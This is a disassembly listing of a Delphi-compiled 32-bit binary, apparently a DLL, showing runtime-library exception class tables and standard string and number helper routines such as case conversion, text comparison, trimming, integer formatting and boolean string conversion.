dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40007270 dd 655A450Bh, 69446F72h, 65646976h ; .text:40007244o ... off_4000727C dd offset dword_400072C8 ; DATA XREF: sub_4000E068+30r dd 7 dup(0) dd offset dword_400072C8 dd 10h dd offset off_40007174 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_400072C8 dd 764F4509h, 6C667265h, 0C08B776Fh ; .text:4000729Co ... dd offset dword_40007320 dd 7 dup(0) dd offset dword_40007320 dd 10h dd offset off_40007174 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40007320 dd 6E55450Ah, 66726564h, 90776F6Ch ; .text:400072F4o ... off_4000732C dd offset dword_40007378 ; DATA XREF: sub_4000B72C+1Fr dd 7 dup(0) dd offset dword_40007378 dd 10h dd offset off_40006E48 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_4000B204 dd offset sub_40003CD8 dword_40007378 dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh ; DATA XREF: .text:off_4000732Co ; .text:4000734Co dd offset dword_400073D4 dd 7 dup(0) dd offset dword_400073D4 dd 0Ch dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_400073D4 dd 6E49450Ch, 696C6176h, 73614364h, 408D74h ; .text:400073A8o ... off_400073E4 dd offset dword_40007430 ; DATA XREF: sub_40007998+Fr ; sub_4000E068+54r ... dd 7 dup(0) dd offset dword_40007430 dd 0Ch dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40007430 dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh ; DATA XREF: .text:off_400073E4o ; .text:40007404o off_40007440 dd offset dword_4000748C ; DATA XREF: sub_4000B488+122r ; sub_4000B488+17Er dd 7 dup(0) dd offset dword_4000748C dd 10h dd offset off_40006F58 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000748C dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh ; DATA XREF: .text:off_40007440o ; .text:40007460o ... dd offset dword_400074EC dd 7 dup(0) dd offset dword_400074EC dd 10h dd offset off_40006F58 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_400074EC dd 7250450Ah, 6C697669h, 90656765h ; .text:400074C0o ... dd offset dword_40007544 dd 7 dup(0) dd offset dword_40007544 dd 10h dd offset off_40006F58 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40007544 dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch ; .text:40007518o ... dd offset dword_400075A0 dd 7 dup(0) dd offset dword_400075A0 dd 10h dd offset off_40006F58 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_400075A0 dd 6F434509h, 6F72746Eh, 0C08B436Ch ; .text:40007574o ... off_400075AC dd offset dword_400075F8 ; DATA XREF: .text:4000D70Co ; .text:4000D770o ... dd 7 dup(0) dd offset dword_400075F8 dd 0Ch dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_400075F8 dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh ; DATA XREF: .text:off_400075ACo ; .text:400075CCo ... off_40007608 dd offset dword_40007654 ; DATA XREF: sub_4000B300+72r dd 7 dup(0) dd offset dword_40007654 dd 0Ch dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40007654 dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h ; DATA XREF: .text:off_40007608o ; .text:40007628o ... off_40007668 dd offset dword_400076B4 ; DATA XREF: sub_4000B3D8+8r dd 7 dup(0) dd offset dword_400076B4 dd 0Ch dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_400076B4 dd 6241450Eh, 61727473h, 72457463h, 90726F72h ; DATA XREF: .text:off_40007668o ; .text:40007688o dd offset dword_40007710 dd 7 dup(0) dd offset dword_40007710 dd 0Ch dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40007710 dd 6E49450Eh, 61436674h, 72457473h, 90726F72h ; .text:400076E4o ... off_40007720 dd offset dword_4000776C ; DATA XREF: sub_4000C41C+49r ; sub_4000C41C+5Fr dd 7 dup(0) dd offset dword_4000776C dd 10h dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000776C dd 534F4508h, 6F727245h, 408D72h ; .text:40007740o dd offset dword_400077C4 dd 7 dup(0) dd offset dword_400077C4 dd 0Ch dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_400077C4 dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h ; DATA XREF: .text:40007778o ; .text:40007798o ... off_400077D8 dd offset dword_400077DC ; DATA XREF: sub_40007E2C+1Ar ; sub_4000CC50+10Dr dword_400077DC dd 372E0311h, 434h db 0 dd offset off_40001000 db 48h, 2 dup(0) db 0 dd offset off_40001000 db 8, 53h, 79h dd 69745573h, 0C08B736Ch off_400077FC dd offset dword_40007800 ; DATA XREF: sub_40007E2C+51r ; sub_4000CC50+11Dr dword_40007800 dd 382E0311h, 434h db 0 dd offset off_40001000 db 48h, 2 dup(0) db 0 dd offset off_40001000 db 8, 53h, 79h dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1 dword_40007828 dd 24h off_4000782C dd offset dword_40007878 ; DATA XREF: sub_4000C69C+4Br dd 7 dup(0) dd offset dword_40007878 dd 44h dd offset off_4000101C dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_4000C55C dword_40007878 dd 68545413h, 64616572h, 61636F4Ch, 756F436Ch, 7265746Eh ; DATA XREF: .text:off_4000782Co ; .text:4000784Co dd 0D4C083CCh, 5003E9h, 0D4C08300h, 506BE9h, 0D4C08300h dd 4EF7E9h, 0D4C08300h, 4F9BE9h, 24448300h, 0BDE9D404h dd 83FFFFE9h, 0D4042444h, 0FFE9DBE9h, 244483FFh, 0E5E9D404h dd 0CCFFFFE9h off_400078CC dd offset dword_40007878+35h ; DATA XREF: .text:400078FCo dd offset dword_40007878+3Fh dd offset dword_40007878+49h dd offset dword_40007878+15h dd offset dword_40007878+1Dh dd offset dword_40007878+25h dd offset dword_40007878+2Dh dword_400078E8 dd 1, 7B108C52h, 4CDB1D8Fh, 0E057DF9Ch, 3F3D1971h ; DATA XREF: .text:4000790Co dd offset off_400078CC dd 2Ch, 0 off_40007908 dd offset aTmultireadexcl ; DATA XREF: sub_400191F8+2Br ; "$TMultiReadExclusiveWriteSynchronizer@"... dd offset dword_400078E8 dd 6 dup(0) dd offset aTmultireadexcl ; "$TMultiReadExclusiveWriteSynchronizer@"... dd 30h dd offset off_400010E0 dd offset sub_40003EF4 dd offset sub_40006248 dd offset sub_40006254 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40006264 dd offset sub_40003C9C dd offset sub_4000C710 aTmultireadexcl db '$TMultiReadExclusiveWriteSynchronizer@',0 ; DATA XREF: .text:off_40007908o ; .text:40007928o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000797C proc near ; CODE XREF: sub_40008FB8+2Bp ; sub_40008FB8+3Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, edx mov edx, eax shr edx, 10h div bx mov ebx, [ebp+arg_0] mov [ecx], ax mov [ebx], dx pop ebx pop ebp retn 4 sub_4000797C endp ; =============== S U B R O U T I N E ======================================= sub_40007998 proc near ; CODE XREF: sub_4000828C+4Cp push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax push esi push edi mov ecx, ebx mov dl, 1 mov eax, ds:off_400073E4 call sub_4000B128 call sub_400042E4 pop edi pop esi pop ebx retn sub_40007998 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400079BC proc near ; CODE XREF: sub_4001145C+87p push ebx push esi push edi mov esi, eax mov eax, edx test esi, esi jz loc_40007A4C mov edx, [esi-4] mov edi, eax test edx, edx jle short loc_40007A4C mov ecx, [eax] mov ebx, edx test ecx, ecx jz short loc_400079FF test edx, 3 jnz short loc_400079EE xor edx, [ecx-4] cmp edx, 3 jbe short loc_400079F9 jmp short loc_400079FF ; --------------------------------------------------------------------------- loc_400079EE: ; CODE XREF: sub_400079BC+26j or edx, 2 xor edx, [ecx-4] cmp edx, 1 ja short loc_400079FF loc_400079F9: ; CODE XREF: sub_400079BC+2Ej cmp dword ptr [ecx-8], 1 jz short loc_40007A09 loc_400079FF: ; CODE XREF: sub_400079BC+1Ej ; sub_400079BC+30j ... mov edx, ebx or edx, 3 call sub_40004F74 loc_40007A09: ; CODE XREF: sub_400079BC+41j mov edi, [edi] mov [edi-4], ebx mov byte ptr [edi+ebx], 0 add ebx, 0FFFFFFFFh and ebx, 0FFFFFFFCh mov eax, [esi+ebx] loc_40007A1B: ; CODE XREF: sub_400079BC+8Aj mov ecx, eax or eax, 80808080h mov edx, eax sub eax, 7B7B7B7Bh xor edx, ecx or eax, 80808080h sub eax, 66666666h and eax, edx shr eax, 2 xor eax, ecx mov [edi+ebx], eax mov eax, [esi+ebx-4] sub ebx, 4 jge short loc_40007A1B pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40007A4C: ; CODE XREF: sub_400079BC+9j ; sub_400079BC+16j pop edi pop esi pop ebx jmp sub_40004884 sub_400079BC endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40007A58 proc near ; CODE XREF: sub_4001145C+66p push ebx push esi push edi mov esi, eax mov eax, edx test esi, esi jz loc_40007AE8 mov edx, [esi-4] mov edi, eax test edx, edx jle short loc_40007AE8 mov ecx, [eax] mov ebx, edx test ecx, ecx jz short loc_40007A9B test edx, 3 jnz short loc_40007A8A xor edx, [ecx-4] cmp edx, 3 jbe short loc_40007A95 jmp short loc_40007A9B ; --------------------------------------------------------------------------- loc_40007A8A: ; CODE XREF: sub_40007A58+26j or edx, 2 xor edx, [ecx-4] cmp edx, 1 ja short loc_40007A9B loc_40007A95: ; CODE XREF: sub_40007A58+2Ej cmp dword ptr [ecx-8], 1 jz short loc_40007AA5 loc_40007A9B: ; CODE XREF: sub_40007A58+1Ej ; sub_40007A58+30j ... mov edx, ebx or edx, 3 call sub_40004F74 loc_40007AA5: ; CODE XREF: sub_40007A58+41j mov edi, [edi] mov [edi-4], ebx mov byte ptr [edi+ebx], 0 add ebx, 0FFFFFFFFh and ebx, 0FFFFFFFCh mov eax, [esi+ebx] loc_40007AB7: ; CODE XREF: sub_40007A58+8Aj mov ecx, eax or eax, 80808080h mov edx, eax sub eax, 5B5B5B5Bh xor edx, ecx or eax, 80808080h sub eax, 66666666h and eax, edx shr eax, 2 xor eax, ecx mov [edi+ebx], eax mov eax, [esi+ebx-4] sub ebx, 4 jge short loc_40007AB7 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40007AE8: ; CODE XREF: sub_40007A58+9j ; sub_40007A58+16j pop edi pop esi pop ebx jmp sub_40004884 sub_40007A58 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40007AF4 proc near ; CODE XREF: sub_40007B90+14p test eax, eax jnz short loc_40007B02 test edx, edx jz short locret_40007B01 mov eax, [edx-4] neg eax locret_40007B01: ; CODE XREF: sub_40007AF4+6j retn ; --------------------------------------------------------------------------- loc_40007B02: ; CODE XREF: sub_40007AF4+2j test edx, edx jnz short loc_40007B0A mov eax, [eax-4] retn ; --------------------------------------------------------------------------- loc_40007B0A: ; CODE XREF: sub_40007AF4+10j push ebx push ebp push esi mov ebp, [eax-4] mov ebx, [edx-4] sub ebp, ebx sbb ecx, ecx and ecx, ebp add ecx, ebx lea esi, [ecx+eax] add edx, ecx neg ecx jz short loc_40007B87 loc_40007B24: ; CODE XREF: sub_40007AF4+91j movzx eax, word ptr [ecx+esi] movzx ebx, word ptr [ecx+edx] cmp eax, ebx jz short loc_40007B82 cmp al, bl jz short loc_40007B60 mov ah, 0 mov bh, 0 cmp al, 61h jl short loc_40007B43 cmp al, 7Ah jg short loc_40007B43 sub eax, 20h loc_40007B43: ; CODE XREF: sub_40007AF4+46j ; sub_40007AF4+4Aj cmp bl, 61h jl short loc_40007B50 cmp bl, 7Ah jg short loc_40007B50 sub ebx, 20h loc_40007B50: ; CODE XREF: sub_40007AF4+52j ; sub_40007AF4+57j sub eax, ebx jnz short loc_40007B89 movzx eax, word ptr [ecx+esi] movzx ebx, word ptr [ecx+edx] cmp ah, bh jz short loc_40007B82 loc_40007B60: ; CODE XREF: sub_40007AF4+3Ej shr eax, 8 shr ebx, 8 cmp al, 61h jl short loc_40007B71 cmp al, 7Ah jg short loc_40007B71 sub eax, 20h loc_40007B71: ; CODE XREF: sub_40007AF4+74j ; sub_40007AF4+78j cmp bl, 61h jl short loc_40007B7E cmp bl, 7Ah jg short loc_40007B7E sub ebx, 20h loc_40007B7E: ; CODE XREF: sub_40007AF4+80j ; sub_40007AF4+85j sub eax, ebx jnz short loc_40007B89 loc_40007B82: ; CODE XREF: sub_40007AF4+3Aj ; sub_40007AF4+6Aj add ecx, 2 jl short loc_40007B24 loc_40007B87: ; CODE XREF: sub_40007AF4+2Ej mov eax, ebp loc_40007B89: ; CODE XREF: sub_40007AF4+5Ej ; sub_40007AF4+8Cj pop esi pop ebp pop ebx retn sub_40007AF4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40007B90 proc near ; CODE XREF: sub_40013618+1Bp ; sub_40013CE4+64p cmp eax, edx jz short loc_40007BAD or eax, eax jz short locret_40007BAF or edx, edx jz short loc_40007BB0 mov ecx, [eax-4] cmp ecx, [edx-4] jnz short loc_40007BB0 call sub_40007AF4 test eax, eax jnz short loc_40007BB0 loc_40007BAD: ; CODE XREF: sub_40007B90+2j mov al, 1 locret_40007BAF: ; CODE XREF: sub_40007B90+6j retn ; --------------------------------------------------------------------------- loc_40007BB0: ; CODE XREF: sub_40007B90+Aj ; sub_40007B90+12j ... xor eax, eax retn sub_40007B90 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40007BB4 proc near ; CODE XREF: sub_4000A1CC+2B6p ; sub_4000A1CC+2E0p push ebx push esi push edi push ebp mov ebp, edx mov edi, eax mov ebx, edi test ebx, ebx jz short loc_40007BC7 sub ebx, 4 mov ebx, [ebx] loc_40007BC7: ; CODE XREF: sub_40007BB4+Cj mov esi, ebp test esi, esi jz short loc_40007BD2 sub esi, 4 mov esi, [esi] loc_40007BD2: ; CODE XREF: sub_40007BB4+17j push esi mov eax, ebp call sub_40004D48 push eax push ebx mov eax, edi call sub_40004D48 push eax push 1 push 400h call sub_400064F8 ; CompareStringA sub eax, 2 pop ebp pop edi pop esi pop ebx retn sub_40007BB4 endp ; =============== S U B R O U T I N E ======================================= sub_40007BF8 proc near ; CODE XREF: sub_4000A1CC+80p push ebx push esi push edi push ebp mov ebp, edx mov edi, eax mov eax, edi test eax, eax jz short loc_40007C0B sub eax, 4 mov eax, [eax] loc_40007C0B: ; CODE XREF: sub_40007BF8+Cj mov esi, eax mov ebx, 1 jmp short loc_40007C15 ; --------------------------------------------------------------------------- loc_40007C14: ; CODE XREF: sub_40007BF8+26j inc ebx loc_40007C15: ; CODE XREF: sub_40007BF8+1Aj cmp esi, ebx jl short loc_40007C20 cmp byte ptr [edi+ebx-1], 20h jbe short loc_40007C14 loc_40007C20: ; CODE XREF: sub_40007BF8+1Fj cmp esi, ebx jge short loc_40007C2E mov eax, ebp call sub_40004884 jmp short loc_40007C44 ; --------------------------------------------------------------------------- loc_40007C2D: ; CODE XREF: sub_40007BF8+3Bj dec esi loc_40007C2E: ; CODE XREF: sub_40007BF8+2Aj cmp byte ptr [edi+esi-1], 20h jbe short loc_40007C2D push ebp mov ecx, esi sub ecx, ebx inc ecx mov edx, ebx mov eax, edi call sub_40004DA8 loc_40007C44: ; CODE XREF: sub_40007BF8+33j pop ebp pop edi pop esi pop ebx retn sub_40007BF8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40007C4C proc near ; CODE XREF: sub_40007C98+Bp ; sub_40007DAC+13p ... or cl, cl jnz short loc_40007C67 or eax, eax jns short sub_40007C62 neg eax call sub_40007C62 mov al, 2Dh inc ecx dec esi mov [esi], al retn sub_40007C4C endp ; =============== S U B R O U T I N E ======================================= sub_40007C62 proc near ; CODE XREF: sub_40007C4C+6j ; sub_40007C4C+Ap mov ecx, 0Ah loc_40007C67: ; CODE XREF: sub_40007C4C+2j push edx push esi loc_40007C69: ; CODE XREF: sub_40007C62+1Bj xor edx, edx div ecx dec esi add dl, 30h cmp dl, 3Ah jb short loc_40007C79 add dl, 7 loc_40007C79: ; CODE XREF: sub_40007C62+12j mov [esi], dl or eax, eax jnz short loc_40007C69 pop ecx pop edx sub ecx, esi sub edx, ecx jbe short locret_40007C97 add ecx, edx mov al, 30h sub esi, edx jmp short loc_40007C92 ; --------------------------------------------------------------------------- loc_40007C8F: ; CODE XREF: sub_40007C62+31j mov [edx+esi], al loc_40007C92: ; CODE XREF: sub_40007C62+2Bj dec edx jnz short loc_40007C8F mov [esi], al locret_40007C97: ; CODE XREF: sub_40007C62+23j retn sub_40007C62 endp ; =============== S U B R O U T I N E ======================================= sub_40007C98 proc near ; CODE XREF: sub_400116DC+C9p ; sub_400116DC+E3p ... push esi mov esi, esp sub esp, 10h xor ecx, ecx push edx xor edx, edx call sub_40007C4C mov edx, esi pop eax call sub_40004974 add esp, 10h pop esi retn sub_40007C98 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40007CB8 proc near ; CODE XREF: sub_40007D84+11p ; sub_4000843E+94j ... var_8 = dword ptr -8 var_4 = dword ptr -4 or cl, cl jnz short sub_40007CEC mov ecx, 0Ah test dword ptr [eax+4], 80000000h jz short sub_40007CEC push dword ptr [eax+4] push dword ptr [eax] mov eax, esp neg [esp+8+var_8] adc [esp+8+var_4], 0 neg [esp+8+var_4] call sub_40007CEC mov byte ptr [esi-1], 2Dh dec esi inc ecx add esp, 8 retn sub_40007CB8 endp ; =============== S U B R O U T I N E ======================================= sub_40007CEC proc near ; CODE XREF: sub_40007CB8+2j ; sub_40007CB8+10j ... var_18 = qword ptr -18h var_C = dword ptr -0Ch var_8 = word ptr -8 var_6 = word ptr -6 push esi sub esp, 4 fnstcw [esp+8+var_6] fnstcw [esp+8+var_8] or [esp+8+var_8], 0F00h fldcw [esp+8+var_8] mov [esp+8+var_8], cx fld1 test dword ptr [eax+4], 80000000h jz short loc_40007D36 push dword ptr [eax+4] push dword ptr [eax] and [esp+10h+var_C], 7FFFFFFFh push 7FFFFFFFh push 0FFFFFFFFh fild qword ptr [esp+8] fild [esp+18h+var_18] fadd st, st(2) faddp st(1), st add esp, 10h jmp short loc_40007D38 ; --------------------------------------------------------------------------- loc_40007D36: ; CODE XREF: sub_40007CEC+21j fild qword ptr [eax] loc_40007D38: ; CODE XREF: sub_40007CEC+48j fild [esp+8+var_8] fld st(1) loc_40007D3D: ; CODE XREF: sub_40007CEC+6Ej dec esi fprem fistp [esp+8+var_8] fdiv st(1), st mov al, byte ptr [esp+8+var_8] add al, 30h cmp al, 3Ah jb short loc_40007D50 add al, 7 loc_40007D50: ; CODE XREF: sub_40007CEC+60j mov [esi], al fld st(1) fcom st(3) fstsw ax sahf jnb short loc_40007D3D fldcw [esp+8+var_6] add esp, 4 ffree st(3) ffree st(2) ffree st(1) ffree st pop ecx sub ecx, esi sub edx, ecx jbe short locret_40007D82 sub esi, edx mov al, 30h add ecx, edx jmp short loc_40007D7D ; --------------------------------------------------------------------------- loc_40007D7A: ; CODE XREF: sub_40007CEC+92j mov [edx+esi], al loc_40007D7D: ; CODE XREF: sub_40007CEC+8Cj dec edx jnz short loc_40007D7A mov [esi], al locret_40007D82: ; CODE XREF: sub_40007CEC+84j retn sub_40007CEC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40007D84 proc near ; CODE XREF: sub_400116DC+20Ep ; sub_400116DC+22Bp ... arg_0 = byte ptr 8 push ebp mov ebp, esp push esi mov esi, esp sub esp, 20h xor ecx, ecx push eax xor edx, edx lea eax, [ebp+arg_0] call sub_40007CB8 mov edx, esi pop eax call sub_40004974 add esp, 20h pop esi pop ebp retn 8 sub_40007D84 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40007DAC proc near ; CODE XREF: sub_4001293C+CDp cmp edx, 20h jbe short loc_40007DB3 xor edx, edx loc_40007DB3: ; CODE XREF: sub_40007DAC+3j push esi mov esi, esp sub esp, 20h push ecx mov ecx, 10h call sub_40007C4C mov edx, esi pop eax call sub_40004974 add esp, 20h pop esi retn sub_40007DAC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40007DD4 proc near ; CODE XREF: sub_4000AA7C+3Ep ; sub_4000AAF4+34p ... var_8 = dword ptr -8 push ebx push ecx mov ebx, edx mov edx, esp call sub_4000379C cmp [esp+8+var_8], 0 jz short loc_40007DE7 mov eax, ebx loc_40007DE7: ; CODE XREF: sub_40007DD4+Fj pop edx pop ebx retn sub_40007DD4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40007DEC proc near ; CODE XREF: sub_4000CE4C+35p ; sub_4000EBF8+61p var_C = dword ptr -0Ch push ebx push esi push ecx mov esi, edx mov ebx, eax mov edx, esp mov eax, ebx call sub_4000379C mov [esi], eax cmp [esp+0Ch+var_C], 0 setz al pop edx pop esi pop ebx retn sub_40007DEC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40007E0C proc near ; CODE XREF: sub_4000F6A8+3Ap var_C = dword ptr -0Ch push ebx push esi push ecx mov esi, edx mov ebx, eax mov edx, esp mov eax, ebx call sub_40005754 mov [esi], eax mov [esi+4], edx cmp [esp+0Ch+var_C], 0 setz al pop edx pop esi pop ebx retn sub_40007E0C endp ; =============== S U B R O U T I N E ======================================= sub_40007E2C proc near ; CODE XREF: sub_40007F40:loc_40007F6Fp ; sub_40007FDC+Ap mov eax, ds:dword_4001E910 call sub_4000596C test eax, eax jnz short loc_40007E63 push 1 mov eax, offset dword_4001E910 mov ecx, 1 mov edx, ds:off_400077D8 call sub_40005B28 add esp, 4 mov eax, ds:dword_4001E910 mov edx, offset aTrue ; "True" call sub_400048D8 loc_40007E63: ; CODE XREF: sub_40007E2C+Cj mov eax, ds:dword_4001E914 call sub_4000596C test eax, eax jnz short locret_40007E9A push 1 mov eax, offset dword_4001E914 mov ecx, 1 mov edx, ds:off_400077FC call sub_40005B28 add esp, 4 mov eax, ds:dword_4001E914 mov edx, offset aFalse ; "False" call sub_400048D8 locret_40007E9A: ; CODE XREF: sub_40007E2C+43j retn sub_40007E2C endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 4 aTrue db 'True',0 ; DATA XREF: sub_40007E2C+2Do align 4 dd 0FFFFFFFFh, 5 aFalse db 'False',0 ; DATA XREF: sub_40007E2C+64o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40007EBC proc near ; CODE XREF: sub_40007F40+46p ; sub_40007F40+69p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx push esi push edi mov [ebp+var_1], 0 test edx, edx jl short loc_40007F33 inc edx mov [ebp+var_C], edx mov ebx, eax loc_40007ED3: ; CODE XREF: sub_40007EBC+75j mov eax, [ebp+arg_0] mov eax, [eax-4] mov [ebp+var_10], eax mov eax, [ebx] mov [ebp+var_14], eax mov esi, [ebp+var_10] test esi, esi jz short loc_40007EED sub esi, 4 mov esi, [esi] loc_40007EED: ; CODE XREF: sub_40007EBC+2Aj mov edi, [ebp+var_14] test edi, edi jz short loc_40007EF9 sub edi, 4 mov edi, [edi] loc_40007EF9: ; CODE XREF: sub_40007EBC+36j push edi mov eax, [ebp+var_14] call sub_40004D48 push eax push esi mov eax, [ebp+var_10] call sub_40004D48 push eax push 1 push 400h call sub_400064F8 ; CompareStringA sub eax, 2 test eax, eax setz al test al, al jz short loc_40007F2B mov [ebp+var_1], 1 jmp short loc_40007F33 ; --------------------------------------------------------------------------- loc_40007F2B: ; CODE XREF: sub_40007EBC+67j add ebx, 4 dec [ebp+var_C] jnz short loc_40007ED3 loc_40007F33: ; CODE XREF: sub_40007EBC+Fj ; sub_40007EBC+6Dj movzx eax, [ebp+var_1] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40007EBC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40007F40 proc near ; CODE XREF: sub_4000D068+3Bp ; sub_4000FCA4+6Cp var_10 = tbyte ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx mov ebx, edx mov [ebp+var_4], eax lea edx, [ebp+var_10] mov eax, [ebp+var_4] call sub_40008E74 mov edx, eax test dl, dl jz short loc_40007F6F fld [ebp+var_10] fcomp ds:flt_40007FC0 fstsw ax sahf setnz byte ptr [ebx] jmp short loc_40007FB8 ; --------------------------------------------------------------------------- loc_40007F6F: ; CODE XREF: sub_40007F40+1Bj call sub_40007E2C push ebp mov eax, ds:dword_4001E910 call sub_40005974 mov edx, eax mov eax, ds:dword_4001E910 call sub_40007EBC pop ecx mov edx, eax test dl, dl jz short loc_40007F97 mov byte ptr [ebx], 1 jmp short loc_40007FB8 ; --------------------------------------------------------------------------- loc_40007F97: ; CODE XREF: sub_40007F40+50j push ebp mov eax, ds:dword_4001E914 call sub_40005974 mov edx, eax mov eax, ds:dword_4001E914 call sub_40007EBC pop ecx mov edx, eax test dl, dl jz short loc_40007FB8 mov byte ptr [ebx], 0 loc_40007FB8: ; CODE XREF: sub_40007F40+2Dj ; sub_40007F40+55j ... mov eax, edx pop ebx mov esp, ebp pop ebp retn sub_40007F40 endp ; --------------------------------------------------------------------------- align 10h flt_40007FC0 dd 0.0 ; DATA XREF: sub_40007F40+20r dd 0FFFFFFFFh, 1 dword_40007FCC dd 30h, 0FFFFFFFFh, 2, 312Dh ; .data:4001A858o ; =============== S U B R O U T I N E ======================================= sub_40007FDC proc near ; CODE XREF: sub_4000D1CC+3Cp push ebx push esi mov esi, ecx mov ebx, eax test dl, dl jz short loc_40008012 call sub_40007E2C test bl, bl jz short loc_40008000 mov eax, esi mov edx, ds:dword_4001E910 mov edx, [edx] call sub_400048D8 jmp short loc_40008023 ; --------------------------------------------------------------------------- loc_40008000: ; CODE XREF: sub_40007FDC+11j mov eax, esi mov edx, ds:dword_4001E914 mov edx, [edx] call sub_400048D8 pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40008012: ; CODE XREF: sub_40007FDC+8j mov eax, esi movzx edx, bl mov edx, off_4001A854[edx*4] call sub_400048D8 loc_40008023: ; CODE XREF: sub_40007FDC+22j pop esi pop ebx retn sub_40007FDC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40008028 proc near ; CODE XREF: sub_40015E94+11p ; sub_40015E94+2Ep push ebx push esi mov esi, eax mov eax, esi test eax, eax jz short loc_40008037 sub eax, 4 mov eax, [eax] loc_40008037: ; CODE XREF: sub_40008028+8j mov ebx, eax test ebx, ebx jz short loc_40008054 